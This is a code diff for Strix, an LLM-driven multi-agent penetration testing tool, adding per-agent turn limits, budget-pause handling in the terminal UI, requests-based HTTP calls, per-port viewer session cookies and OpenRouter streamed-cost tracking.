from strix.runtime import session_manager
|
||||
@@ -184,6 +185,7 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
|
||||
local_sources=getattr(args, "local_sources", None) or [],
|
||||
interactive=bool(getattr(args, "interactive", False)),
|
||||
max_budget_usd=getattr(args, "max_budget_usd", None),
|
||||
max_turns=getattr(args, "max_turns", DEFAULT_MAX_TURNS),
|
||||
)
|
||||
finally:
|
||||
stop_updates.set()
|
||||
|
||||
+55
-9
@@ -31,6 +31,7 @@ from strix.config.models import (
|
||||
is_known_openai_bare_model,
|
||||
is_recommended_or_frontier_model,
|
||||
)
|
||||
from strix.core.inputs import DEFAULT_MAX_TURNS, make_model_settings
|
||||
from strix.core.paths import run_dir_for, runtime_state_dir
|
||||
from strix.interface.cli import run_cli
|
||||
from strix.interface.tui import run_tui
|
||||
@@ -210,7 +211,7 @@ def validate_environment() -> None:
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
logger.error("Missing required env vars: %s", missing_required_vars)
|
||||
logger.debug("Missing required env vars: %s", missing_required_vars)
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
@@ -223,7 +224,7 @@ def validate_environment() -> None:
|
||||
|
||||
def check_docker_installed() -> None:
|
||||
if shutil.which("docker") is None:
|
||||
logger.error("Docker CLI not found in PATH")
|
||||
logger.debug("Docker CLI not found in PATH")
|
||||
console = Console()
|
||||
error_text = Text()
|
||||
error_text.append("DOCKER NOT INSTALLED", style="bold red")
|
||||
@@ -381,7 +382,13 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
model.get_response(
|
||||
system_instructions="You are a helpful assistant.",
|
||||
input="Reply with just 'OK'.",
|
||||
model_settings=ModelSettings(),
|
||||
model_settings=make_model_settings(
|
||||
None,
|
||||
model_name=raw_model,
|
||||
request_timeout=llm.timeout,
|
||||
prompt_cache=False,
|
||||
extra_headers=llm.extra_headers,
|
||||
),
|
||||
tools=[],
|
||||
output_schema=None,
|
||||
handoffs=[],
|
||||
@@ -403,7 +410,19 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
# Match the runtime path: send the dedupe key/endpoint per call so a
|
||||
# separate-provider dedupe model authenticates during warm-up too.
|
||||
deduper_extra = _dedupe_extra_args(settings.dedupe)
|
||||
deduper_settings = ModelSettings(extra_args=deduper_extra or None)
|
||||
# A dedicated dedupe model may route to another provider, which must
|
||||
# never receive the main endpoint's headers; it has its own
|
||||
# DEDUPE_LLM_EXTRA_HEADERS.
|
||||
deduper_settings = make_model_settings(
|
||||
None,
|
||||
model_name=dedupe_model,
|
||||
request_timeout=llm.timeout,
|
||||
prompt_cache=False,
|
||||
extra_headers=settings.dedupe.extra_headers,
|
||||
)
|
||||
if deduper_extra:
|
||||
merged = {**(deduper_settings.extra_args or {}), **deduper_extra}
|
||||
deduper_settings = deduper_settings.resolve(ModelSettings(extra_args=merged))
|
||||
await asyncio.wait_for(
|
||||
deduper.get_response(
|
||||
system_instructions="You are a helpful assistant.",
|
||||
@@ -422,7 +441,7 @@ async def warm_up_llm(show_model_warning: bool = True) -> None:
|
||||
logger.info("LLM warm-up succeeded for dedupe model %s", dedupe_model)
|
||||
|
||||
except Exception as e:
|
||||
logger.exception("LLM warm-up failed")
|
||||
logger.debug("LLM warm-up failed", exc_info=True)
|
||||
error_text = Text()
|
||||
sub_hint = _subscription_error_hint(e)
|
||||
if sub_hint is not None:
|
||||
@@ -481,6 +500,16 @@ def _positive_budget(value: str) -> float:
|
||||
return budget
|
||||
|
||||
|
||||
def _positive_int(value: str) -> int:
|
||||
try:
|
||||
parsed = int(value)
|
||||
except ValueError as exc:
|
||||
raise argparse.ArgumentTypeError(f"invalid int value: {value!r}") from exc
|
||||
if parsed <= 0:
|
||||
raise argparse.ArgumentTypeError("must be an integer greater than 0")
|
||||
return parsed
|
||||
|
||||
|
||||
def parse_arguments() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Strix Multi-Agent Cybersecurity Penetration Testing Tool",
|
||||
@@ -636,10 +665,27 @@ Examples:
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--max-budget-usd",
|
||||
"--max-budget",
|
||||
dest="max_budget_usd",
|
||||
metavar="USD",
|
||||
type=_positive_budget,
|
||||
default=None,
|
||||
help="Maximum LLM cost in USD (> 0). The scan stops cleanly when this limit is reached.",
|
||||
help=(
|
||||
"Maximum LLM cost in USD (> 0). The scan stops cleanly when this limit is reached. "
|
||||
"Graduated wrap-up warnings are sent to all agents as it is approached."
|
||||
),
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--max-turns",
|
||||
dest="max_turns",
|
||||
metavar="N",
|
||||
type=_positive_int,
|
||||
default=DEFAULT_MAX_TURNS,
|
||||
help=(
|
||||
"Maximum turns per agent (> 0, default %(default)s). Each agent is force-stopped "
|
||||
"when it reaches this limit, with graduated wrap-up warnings as it is approached."
|
||||
),
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
@@ -856,7 +902,7 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
|
||||
view_text = Text()
|
||||
view_text.append("\n")
|
||||
view_text.append("View", style="dim")
|
||||
view_text.append(" ")
|
||||
view_text.append(" ")
|
||||
view_text.append(f"strix view {args.run_name}", style="#22c55e")
|
||||
panel_parts.extend(["\n", view_text])
|
||||
|
||||
@@ -918,7 +964,7 @@ def pull_docker_image() -> None:
|
||||
last_update = process_pull_line(line, layers_info, status, last_update)
|
||||
|
||||
except DockerException as e:
|
||||
logger.exception("Failed to pull docker image %s", image)
|
||||
logger.debug("Failed to pull docker image %s", image, exc_info=True)
|
||||
console.print()
|
||||
error_text = Text()
|
||||
error_text.append("FAILED TO PULL IMAGE", style="bold red")
|
||||
|
||||
@@ -15,6 +15,7 @@ from typing import TYPE_CHECKING, Any, ClassVar
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pygments.token import _TokenType
|
||||
from textual.timer import Timer
|
||||
|
||||
from rich.align import Align
|
||||
@@ -34,6 +35,7 @@ from textual.widgets.tree import TreeNode
|
||||
from strix.config import load_settings
|
||||
from strix.config.models import is_recommended_or_frontier_model
|
||||
from strix.core.hooks import BudgetExceededError
|
||||
from strix.core.inputs import DEFAULT_MAX_TURNS
|
||||
from strix.core.runner import run_strix_scan
|
||||
from strix.interface.tui.live_view import TuiLiveView
|
||||
from strix.interface.tui.messages import send_user_message_to_agent
|
||||
@@ -351,7 +353,7 @@ class VulnerabilityDetailScreen(ModalScreen): # type: ignore[misc]
|
||||
if not token_value:
|
||||
continue
|
||||
color = None
|
||||
tt = token_type
|
||||
tt: _TokenType | None = token_type
|
||||
while tt:
|
||||
if tt in colors:
|
||||
color = colors[tt]
|
||||
@@ -814,6 +816,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
self._scan_completed = threading.Event()
|
||||
self._scan_error: BaseException | None = None
|
||||
self._error_noted_agents: set[str] = set()
|
||||
self._budget_pause_notified = False
|
||||
|
||||
self._spinner_frame_index: int = 0
|
||||
self._sweep_num_squares: int = 6
|
||||
@@ -1046,6 +1049,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
self.live_view.record_agent_error(agent_id, error)
|
||||
else:
|
||||
self._error_noted_agents.discard(agent_id)
|
||||
self._notify_budget_pause(statuses)
|
||||
|
||||
if self._scan_loop is None or self._scan_loop.is_closed():
|
||||
return
|
||||
@@ -1057,6 +1061,19 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
|
||||
self._agent_graph_sync_future = asyncio.run_coroutine_threadsafe(collect(), self._scan_loop)
|
||||
|
||||
def _notify_budget_pause(self, statuses: dict[str, Any]) -> None:
|
||||
paused = any(status == "budget_paused" for status in statuses.values())
|
||||
if paused and not self._budget_pause_notified:
|
||||
self._budget_pause_notified = True
|
||||
self.notify(
|
||||
"Budget limit reached \u2014 agents paused. Send a message to continue "
|
||||
"(this extends the budget), or ctrl-q to quit.",
|
||||
severity="warning",
|
||||
timeout=15,
|
||||
)
|
||||
elif not paused:
|
||||
self._budget_pause_notified = False
|
||||
|
||||
def _update_agent_node(self, agent_id: str, agent_data: dict[str, Any]) -> bool:
|
||||
if agent_id not in self.agent_nodes:
|
||||
return False
|
||||
@@ -1069,6 +1086,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
status_indicators = {
|
||||
"running": "⚪",
|
||||
"waiting": "⏸",
|
||||
"budget_paused": "⏸",
|
||||
"completed": "🟢",
|
||||
"failed": "🔴",
|
||||
"crashed": "🔴",
|
||||
@@ -1266,10 +1284,17 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
self._stop_dot_animation()
|
||||
return (text, Text(), False)
|
||||
|
||||
if status == "waiting":
|
||||
if status in {"waiting", "budget_paused"}:
|
||||
text = Text()
|
||||
text.append("Send message to resume", style="dim")
|
||||
return (text, Text(), False)
|
||||
keymap = Text()
|
||||
if status == "budget_paused":
|
||||
text.append("Budget limit reached", style="yellow")
|
||||
text.append(" \u00b7 ", style="dim")
|
||||
text.append("Send a message to continue", style="dim")
|
||||
keymap = keymap_styled([("ctrl-q", "quit")])
|
||||
else:
|
||||
text.append("Send message to resume", style="dim")
|
||||
return (text, keymap, False)
|
||||
|
||||
if status == "running":
|
||||
if self._agent_has_real_activity(agent_id):
|
||||
@@ -1494,6 +1519,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
coordinator=self.coordinator,
|
||||
interactive=True,
|
||||
max_budget_usd=getattr(self.args, "max_budget_usd", None),
|
||||
max_turns=getattr(self.args, "max_turns", DEFAULT_MAX_TURNS),
|
||||
event_sink=self._capture_sdk_event,
|
||||
),
|
||||
)
|
||||
@@ -1501,10 +1527,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
except (KeyboardInterrupt, asyncio.CancelledError):
|
||||
logger.info("Scan interrupted by user")
|
||||
except BudgetExceededError:
|
||||
# Defensive: the runner stops the scan cleanly on budget and
|
||||
# returns, so this normally never propagates. Treat it as a
|
||||
# graceful stop, not a scan error, if it ever does.
|
||||
logger.info("Scan stopped: --max-budget-usd limit reached")
|
||||
logger.info("Scan stopped: --max-budget limit reached")
|
||||
except (ConnectionError, TimeoutError) as e:
|
||||
logging.exception("Network error during scan")
|
||||
self._scan_error = e
|
||||
@@ -1559,6 +1582,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
status_indicators = {
|
||||
"running": "⚪",
|
||||
"waiting": "⏸",
|
||||
"budget_paused": "⏸",
|
||||
"completed": "🟢",
|
||||
"failed": "🔴",
|
||||
"crashed": "🔴",
|
||||
@@ -1605,6 +1629,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
status_indicators = {
|
||||
"running": "⚪",
|
||||
"waiting": "⏸",
|
||||
"budget_paused": "⏸",
|
||||
"completed": "🟢",
|
||||
"failed": "🔴",
|
||||
"crashed": "🔴",
|
||||
@@ -1729,7 +1754,10 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
message=message,
|
||||
)
|
||||
if not submitted:
|
||||
self.notify("Scan loop is not ready; message was not sent", severity="warning")
|
||||
if self._scan_completed.is_set():
|
||||
self.notify("The scan has ended; message was not sent", severity="warning")
|
||||
else:
|
||||
self.notify("Scan loop is not ready; message was not sent", severity="warning")
|
||||
return
|
||||
|
||||
self._displayed_events.clear()
|
||||
|
||||
@@ -20,7 +20,7 @@ class TuiLiveView:
|
||||
self.events: list[dict[str, Any]] = []
|
||||
self._next_event_id = 1
|
||||
self._open_assistant_event_by_agent: dict[str, dict[str, Any]] = {}
|
||||
self._tool_event_by_call_id: dict[str, dict[str, Any]] = {}
|
||||
self._tool_event_by_agent_and_call_id: dict[tuple[str, str], dict[str, Any]] = {}
|
||||
|
||||
def hydrate_from_run_dir(self, run_dir: Path) -> None:
|
||||
state_dir = runtime_state_dir(run_dir)
|
||||
@@ -223,7 +223,8 @@ class TuiLiveView:
|
||||
timestamp: str | None = None,
|
||||
) -> None:
|
||||
call_id = call["call_id"]
|
||||
existing = self._tool_event_by_call_id.get(call_id)
|
||||
event_key = (agent_id, call_id)
|
||||
existing = self._tool_event_by_agent_and_call_id.get(event_key)
|
||||
tool_data = {
|
||||
"tool_name": call["tool_name"],
|
||||
"args": call["args"],
|
||||
@@ -233,7 +234,7 @@ class TuiLiveView:
|
||||
}
|
||||
if existing is None:
|
||||
event = self._append_event(agent_id, "tool", tool_data, timestamp=timestamp)
|
||||
self._tool_event_by_call_id[call_id] = event
|
||||
self._tool_event_by_agent_and_call_id[event_key] = event
|
||||
else:
|
||||
existing["data"].update(tool_data)
|
||||
self._bump_event(existing, timestamp=timestamp)
|
||||
@@ -249,7 +250,8 @@ class TuiLiveView:
|
||||
timestamp: str | None = None,
|
||||
) -> None:
|
||||
call_id = output["call_id"]
|
||||
event = self._tool_event_by_call_id.get(call_id)
|
||||
event_key = (agent_id, call_id)
|
||||
event = self._tool_event_by_agent_and_call_id.get(event_key)
|
||||
if event is None:
|
||||
event = self._append_event(
|
||||
agent_id,
|
||||
@@ -263,7 +265,7 @@ class TuiLiveView:
|
||||
},
|
||||
timestamp=timestamp,
|
||||
)
|
||||
self._tool_event_by_call_id[call_id] = event
|
||||
self._tool_event_by_agent_and_call_id[event_key] = event
|
||||
|
||||
result = _parse_json_value(output["output"])
|
||||
event["data"]["result"] = result
|
||||
|
||||
@@ -271,7 +271,13 @@ def _release_target() -> str | None:
|
||||
if os_name is None:
|
||||
return None
|
||||
target = f"{os_name}-{arch}"
|
||||
supported = {"linux-x86_64", "macos-x86_64", "macos-arm64", "windows-x86_64"}
|
||||
supported = {
|
||||
"linux-x86_64",
|
||||
"linux-arm64",
|
||||
"macos-x86_64",
|
||||
"macos-arm64",
|
||||
"windows-x86_64",
|
||||
}
|
||||
return target if target in supported else None
|
||||
|
||||
|
||||
|
||||
@@ -11,11 +11,10 @@ import tempfile
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlparse
|
||||
from urllib.request import Request, urlopen
|
||||
|
||||
import docker
|
||||
import requests
|
||||
from docker.errors import DockerException, ImageNotFound
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
@@ -1088,13 +1087,12 @@ def resolve_diff_scope_context(
|
||||
def _is_http_git_repo(url: str) -> bool:
|
||||
check_url = f"{url.rstrip('/')}/info/refs?service=git-upload-pack"
|
||||
try:
|
||||
req = Request(check_url, headers={"User-Agent": "git/strix"}) # noqa: S310
|
||||
with urlopen(req, timeout=10) as resp: # noqa: S310 # nosec B310
|
||||
return "x-git-upload-pack-advertisement" in resp.headers.get("Content-Type", "")
|
||||
except HTTPError as e:
|
||||
return e.code == 401
|
||||
except (URLError, OSError, ValueError):
|
||||
resp = requests.get(check_url, headers={"User-Agent": "git/strix"}, timeout=10)
|
||||
except (requests.RequestException, ValueError):
|
||||
return False
|
||||
if resp.status_code >= 400:
|
||||
return resp.status_code == 401
|
||||
return "x-git-upload-pack-advertisement" in resp.headers.get("Content-Type", "")
|
||||
|
||||
|
||||
def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911
|
||||
|
||||
@@ -15,12 +15,12 @@ import base64
|
||||
import contextlib
|
||||
import json
|
||||
import logging
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import requests
|
||||
|
||||
from strix.config.loader import load_settings
|
||||
|
||||
|
||||
@@ -147,21 +147,17 @@ def _post_json(path: str, payload: dict[str, Any], *, timeout: int) -> tuple[int
|
||||
map, not raised.
|
||||
"""
|
||||
url = f"{_app_url()}{path}"
|
||||
body = json.dumps(payload).encode("utf-8")
|
||||
request = urllib.request.Request( # noqa: S310 - fixed https relay URL
|
||||
url,
|
||||
data=body,
|
||||
headers={"Content-Type": "application/json", "Accept": "application/json"},
|
||||
method="POST",
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen(request, timeout=timeout) as response: # noqa: S310 # nosec B310
|
||||
return response.status, _parse_body(response.read())
|
||||
except urllib.error.HTTPError as exc:
|
||||
return exc.code, _parse_body(exc.read())
|
||||
except (urllib.error.URLError, TimeoutError, OSError) as exc:
|
||||
response = requests.post(
|
||||
url,
|
||||
json=payload,
|
||||
headers={"Accept": "application/json"},
|
||||
timeout=timeout,
|
||||
)
|
||||
except requests.RequestException as exc:
|
||||
logger.warning("relay request to %s failed: %s", path, exc)
|
||||
raise RelayError("unavailable") from exc
|
||||
return response.status_code, _parse_body(response.content)
|
||||
|
||||
|
||||
def _parse_body(raw: bytes) -> dict[str, Any]:
|
||||
|
||||
@@ -107,8 +107,11 @@ def resolve_run_dir(base_dir: Path, run_param: str | None, default_run_dir: Path
|
||||
return candidate
|
||||
|
||||
|
||||
# Name of the cookie carrying the per-process session capability.
|
||||
SESSION_COOKIE = "strix_viewer_session"
|
||||
# Prefix of the cookie carrying the per-process session capability. The bound
|
||||
# port is appended (``strix_viewer_session_<port>``) because browsers scope
|
||||
# cookies by host only, never by port: concurrent viewers on 127.0.0.1 would
|
||||
# otherwise share one cookie slot and clobber each other's session.
|
||||
SESSION_COOKIE_PREFIX = "strix_viewer_session"
|
||||
|
||||
|
||||
class _ViewerState:
|
||||
@@ -135,6 +138,9 @@ class _ViewerState:
|
||||
# enough to steer a live scan, trigger a report, or browse history --
|
||||
# the token is never handed to a caller who merely reaches ``/``.
|
||||
self.session_token = secrets.token_urlsafe(32)
|
||||
# Finalized in ``serve()`` once the port is known (the server binds
|
||||
# after this state is constructed); see SESSION_COOKIE_PREFIX.
|
||||
self.cookie_name = SESSION_COOKIE_PREFIX
|
||||
|
||||
|
||||
def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
@@ -476,7 +482,7 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
the browser this process handed the page to can pass. A direct
|
||||
caller on an exposed port has no cookie and is rejected.
|
||||
"""
|
||||
supplied = self._cookies().get(SESSION_COOKIE, "")
|
||||
supplied = self._cookies().get(state.cookie_name, "")
|
||||
return bool(supplied) and secrets.compare_digest(supplied, state.session_token)
|
||||
|
||||
def _token_presented(self, query: dict[str, list[str]]) -> bool:
|
||||
@@ -512,7 +518,7 @@ def _make_handler(state: _ViewerState) -> type[BaseHTTPRequestHandler]:
|
||||
# SameSite=Strict (never sent from a cross-site context).
|
||||
self.send_header(
|
||||
"Set-Cookie",
|
||||
f"{SESSION_COOKIE}={state.session_token}; Path=/; HttpOnly; SameSite=Strict",
|
||||
f"{state.cookie_name}={state.session_token}; Path=/; HttpOnly; SameSite=Strict",
|
||||
)
|
||||
self.end_headers()
|
||||
self.wfile.write(content)
|
||||
@@ -586,6 +592,7 @@ def serve(
|
||||
|
||||
httpd.daemon_threads = True
|
||||
bound_port = int(httpd.server_address[1])
|
||||
state.cookie_name = f"{SESSION_COOKIE_PREFIX}_{bound_port}"
|
||||
url = f"http://{host}:{bound_port}"
|
||||
|
||||
thread = threading.Thread(target=httpd.serve_forever, name="strix-viewer", daemon=True)
|
||||
|
||||
+44
-12
@@ -12,15 +12,20 @@ from __future__ import annotations
|
||||
import logging
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import litellm
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.interface import ModelTracing
|
||||
from litellm.exceptions import BadRequestError, ContextWindowExceededError
|
||||
from openai.types.responses import ResponseOutputMessage, ResponseOutputText
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.config.models import StrixProvider
|
||||
from strix.core.inputs import make_model_settings
|
||||
from strix.core.sessions import replace_session_items, session_write_lock
|
||||
from strix.llm.context_budget import context_window, count_tokens, output_limit
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from agents.items import ModelResponse
|
||||
from agents.memory import Session
|
||||
|
||||
|
||||
@@ -268,26 +273,53 @@ def _checkpoint_item(summary: str) -> dict[str, Any]:
|
||||
}
|
||||
|
||||
|
||||
def _extract_text(response: ModelResponse) -> str:
|
||||
parts: list[str] = []
|
||||
for item in response.output:
|
||||
if not isinstance(item, ResponseOutputMessage):
|
||||
continue
|
||||
parts.extend(
|
||||
chunk.text
|
||||
for chunk in item.content
|
||||
if isinstance(chunk, ResponseOutputText) and chunk.text
|
||||
)
|
||||
return "".join(parts)
|
||||
|
||||
|
||||
async def _summarize(model: str, prompt: str, max_tokens: int) -> str | None:
|
||||
llm = load_settings().llm
|
||||
model_settings = make_model_settings(
|
||||
None,
|
||||
model_name=model,
|
||||
request_timeout=llm.timeout,
|
||||
prompt_cache=False,
|
||||
extra_headers=llm.extra_headers,
|
||||
).resolve(ModelSettings(max_tokens=max_tokens))
|
||||
try:
|
||||
response = await litellm.acompletion(
|
||||
model=model,
|
||||
messages=[{"role": "user", "content": prompt}],
|
||||
max_tokens=max_tokens,
|
||||
api_key=llm.api_key,
|
||||
api_base=llm.api_base,
|
||||
timeout=llm.timeout,
|
||||
response = (
|
||||
await StrixProvider()
|
||||
.get_model(model)
|
||||
.get_response(
|
||||
system_instructions=None,
|
||||
input=prompt,
|
||||
model_settings=model_settings,
|
||||
tools=[],
|
||||
output_schema=None,
|
||||
handoffs=[],
|
||||
tracing=ModelTracing.DISABLED,
|
||||
previous_response_id=None,
|
||||
conversation_id=None,
|
||||
prompt=None,
|
||||
)
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("compaction summary call failed for model %s", model)
|
||||
return None
|
||||
try:
|
||||
content = response.choices[0].message.content
|
||||
except (AttributeError, IndexError, KeyError):
|
||||
content = _extract_text(response).strip()
|
||||
if not content:
|
||||
logger.warning("compaction summary returned no content")
|
||||
return None
|
||||
return content.strip() if isinstance(content, str) and content.strip() else None
|
||||
return content
|
||||
|
||||
|
||||
async def maybe_compact(
|
||||
|
||||
@@ -17,7 +17,14 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
# LiteLLM keys models without the routing prefix users type (``openai/``,
|
||||
# ``litellm/``, ``ollama/`` ...). Strip a leading provider segment on lookup.
|
||||
_STRIPPABLE_PREFIXES = ("openai/", "litellm/", "any-llm/", "ollama/", "ollama_chat/")
|
||||
_STRIPPABLE_PREFIXES = (
|
||||
"openai/",
|
||||
"chatgpt/",
|
||||
"litellm/",
|
||||
"any-llm/",
|
||||
"ollama/",
|
||||
"ollama_chat/",
|
||||
)
|
||||
|
||||
_DEFAULT_OUTPUT_TOKENS = 8_192
|
||||
|
||||
@@ -38,7 +45,11 @@ def _safe_get_model_info(model: str) -> dict[str, Any] | None:
|
||||
|
||||
@lru_cache(maxsize=128)
|
||||
def _model_info(model: str) -> dict[str, int]:
|
||||
for candidate in (model, _lookup_key(model)):
|
||||
lookup_key = _lookup_key(model)
|
||||
# Provider-qualified ChatGPT lookups may start a synchronous device-login
|
||||
# poll. LiteLLM keys the metadata by the underlying model slug.
|
||||
candidates = (lookup_key,) if model.startswith("chatgpt/") else (model, lookup_key)
|
||||
for candidate in candidates:
|
||||
info = _safe_get_model_info(candidate)
|
||||
if info is not None:
|
||||
return {
|
||||
|
||||
@@ -51,17 +51,24 @@ def _dedupe_extra_args(dedupe: DedupeSettings) -> dict[str, str]:
|
||||
def _dedupe_model_settings(
|
||||
dedupe: DedupeSettings, model_name: str, request_timeout: float | None
|
||||
) -> ModelSettings:
|
||||
llm = load_settings().llm
|
||||
settings = make_model_settings(
|
||||
dedupe.reasoning_effort,
|
||||
model_name=model_name,
|
||||
force_required_tool_choice=False,
|
||||
request_timeout=request_timeout,
|
||||
# The main model's headers apply only when dedupe falls back to the main
|
||||
# model; a dedicated dedupe model may route to another provider, which
|
||||
# must never receive the main endpoint's credentials. A dedicated model
|
||||
# gets its own DEDUPE_LLM_EXTRA_HEADERS instead.
|
||||
extra_headers=dedupe.extra_headers if dedupe.model else llm.extra_headers,
|
||||
)
|
||||
extra = _dedupe_extra_args(dedupe)
|
||||
if extra:
|
||||
settings = settings.resolve(ModelSettings(extra_args=extra))
|
||||
return settings
|
||||
|
||||
|
||||
DEDUPE_SYSTEM_PROMPT = """You are an expert vulnerability report deduplication judge.
|
||||
Your task is to determine if a candidate vulnerability report describes the SAME vulnerability
|
||||
as any existing report.
|
||||
@@ -347,9 +354,7 @@ async def check_duplicate(
|
||||
response = await model.get_response(
|
||||
system_instructions=DEDUPE_SYSTEM_PROMPT,
|
||||
input=user_msg,
|
||||
model_settings=_dedupe_model_settings(
|
||||
dedupe, resolved_model, settings.llm.timeout
|
||||
),
|
||||
model_settings=_dedupe_model_settings(dedupe, resolved_model, settings.llm.timeout),
|
||||
tools=[],
|
||||
output_schema=None,
|
||||
handoffs=[],
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import json
|
||||
import logging
|
||||
import subprocess
|
||||
import threading
|
||||
from collections.abc import Callable
|
||||
from datetime import UTC, datetime
|
||||
from importlib.metadata import PackageNotFoundError, version
|
||||
@@ -95,6 +96,8 @@ def get_global_report_state() -> Optional["ReportState"]:
|
||||
def set_global_report_state(report_state: "ReportState") -> None:
|
||||
global _global_report_state # noqa: PLW0603
|
||||
_global_report_state = report_state
|
||||
# New run: drop any streamed-cost entries a prior run left unconsumed.
|
||||
streamed_openrouter_costs.clear()
|
||||
|
||||
|
||||
class ReportState:
|
||||
@@ -507,6 +510,72 @@ class ReportState:
|
||||
self._sync_llm_usage_record()
|
||||
|
||||
|
||||
def openrouter_stream_cost(usage: Any) -> float | None:
|
||||
"""Total OpenRouter-reported cost from a raw stream ``usage`` block, or None.
|
||||
|
||||
Non-BYOK responses bill everything to ``usage.cost``. BYOK responses put the
|
||||
OpenRouter fee in ``usage.cost`` (often 0) and the provider charge in
|
||||
``usage.cost_details.upstream_inference_cost``, so BYOK totals sum the two.
|
||||
"""
|
||||
if not isinstance(usage, dict):
|
||||
return None
|
||||
total = 0.0
|
||||
cost = usage.get("cost")
|
||||
if isinstance(cost, int | float) and cost > 0:
|
||||
total += float(cost)
|
||||
if bool(usage.get("is_byok")):
|
||||
details = usage.get("cost_details")
|
||||
upstream = details.get("upstream_inference_cost") if isinstance(details, dict) else None
|
||||
if isinstance(upstream, int | float) and upstream > 0:
|
||||
total += float(upstream)
|
||||
return total if total > 0 else None
|
||||
|
||||
|
||||
def _response_id(completion_response: Any) -> str | None:
|
||||
response_id = getattr(completion_response, "id", None)
|
||||
if response_id is None and isinstance(completion_response, dict):
|
||||
response_id = cast("dict[str, Any]", completion_response).get("id")
|
||||
return response_id if isinstance(response_id, str) and response_id else None
|
||||
|
||||
|
||||
class StreamedOpenRouterCosts:
|
||||
"""Correlates OpenRouter's per-stream cost from the parser to the cost callback.
|
||||
|
||||
LiteLLM rebuilds streamed responses from token-only chunks and drops the
|
||||
``usage.cost`` OpenRouter reports in its final stream chunk (its non-streamed
|
||||
path preserves it; streaming snapshots hidden params at stream start). Every
|
||||
scan streams, so the OpenRouter streaming handler (see strix.config.models)
|
||||
records the cost here keyed by response id, and the callback takes it back out
|
||||
for the matching rebuilt response. Entries are removed on read; ``clear()``
|
||||
runs per scan so nothing accumulates across runs.
|
||||
"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self._costs: dict[str, float] = {}
|
||||
self._lock = threading.Lock()
|
||||
|
||||
def remember(self, response_id: Any, usage: Any) -> None:
|
||||
cost = openrouter_stream_cost(usage)
|
||||
if cost is None or not (isinstance(response_id, str) and response_id):
|
||||
return
|
||||
with self._lock:
|
||||
self._costs[response_id] = cost
|
||||
|
||||
def take(self, completion_response: Any) -> float | None:
|
||||
response_id = _response_id(completion_response)
|
||||
if response_id is None:
|
||||
return None
|
||||
with self._lock:
|
||||
return self._costs.pop(response_id, None)
|
||||
|
||||
def clear(self) -> None:
|
||||
with self._lock:
|
||||
self._costs.clear()
|
||||
|
||||
|
||||
streamed_openrouter_costs = StreamedOpenRouterCosts()
|
||||
|
||||
|
||||
def litellm_cost_callback(
|
||||
kwargs: Any,
|
||||
completion_response: Any,
|
||||
@@ -541,6 +610,11 @@ def litellm_cost_callback(
|
||||
if cost is None:
|
||||
cost = _usage_reported_cost(completion_response)
|
||||
|
||||
# Recover the exact OpenRouter cost the streaming handler stashed for this
|
||||
# response — LiteLLM drops it from streamed usage, so nothing above sees it.
|
||||
if cost is None:
|
||||
cost = streamed_openrouter_costs.take(completion_response)
|
||||
|
||||
if cost is None:
|
||||
cost = _estimate_response_cost(kwargs, completion_response)
|
||||
|
||||
|
||||
@@ -110,6 +110,19 @@ def _apply_log_limits(create_kwargs: dict[str, Any]) -> None:
|
||||
)
|
||||
|
||||
|
||||
def _apply_run_labels(create_kwargs: dict[str, Any]) -> None:
|
||||
run_id = os.getenv("STRIX_RUN_ID")
|
||||
if not run_id:
|
||||
return
|
||||
labels = create_kwargs.setdefault("labels", {})
|
||||
if not isinstance(labels, dict):
|
||||
return
|
||||
labels["strix-run-id"] = run_id
|
||||
run_type = os.getenv("STRIX_RUN_TYPE")
|
||||
if run_type:
|
||||
labels["strix-run-type"] = run_type
|
||||
|
||||
|
||||
class StrixDockerSandboxSession(DockerSandboxSession):
|
||||
sandbox_network: str = ""
|
||||
|
||||
@@ -222,6 +235,7 @@ class StrixDockerSandboxClient(DockerSandboxClient):
|
||||
_apply_sandbox_network(create_kwargs)
|
||||
_apply_resource_limits(create_kwargs)
|
||||
_apply_log_limits(create_kwargs)
|
||||
_apply_run_labels(create_kwargs)
|
||||
|
||||
# Strix injection: host bind mounts (e.g. large repos passed via --mount)
|
||||
# that bypass the SDK's file-by-file LocalDir copy.
|
||||
|
||||
@@ -42,6 +42,18 @@ Notable source-aware skills:
|
||||
- `source_aware_whitebox` (coordination): white-box orchestration playbook
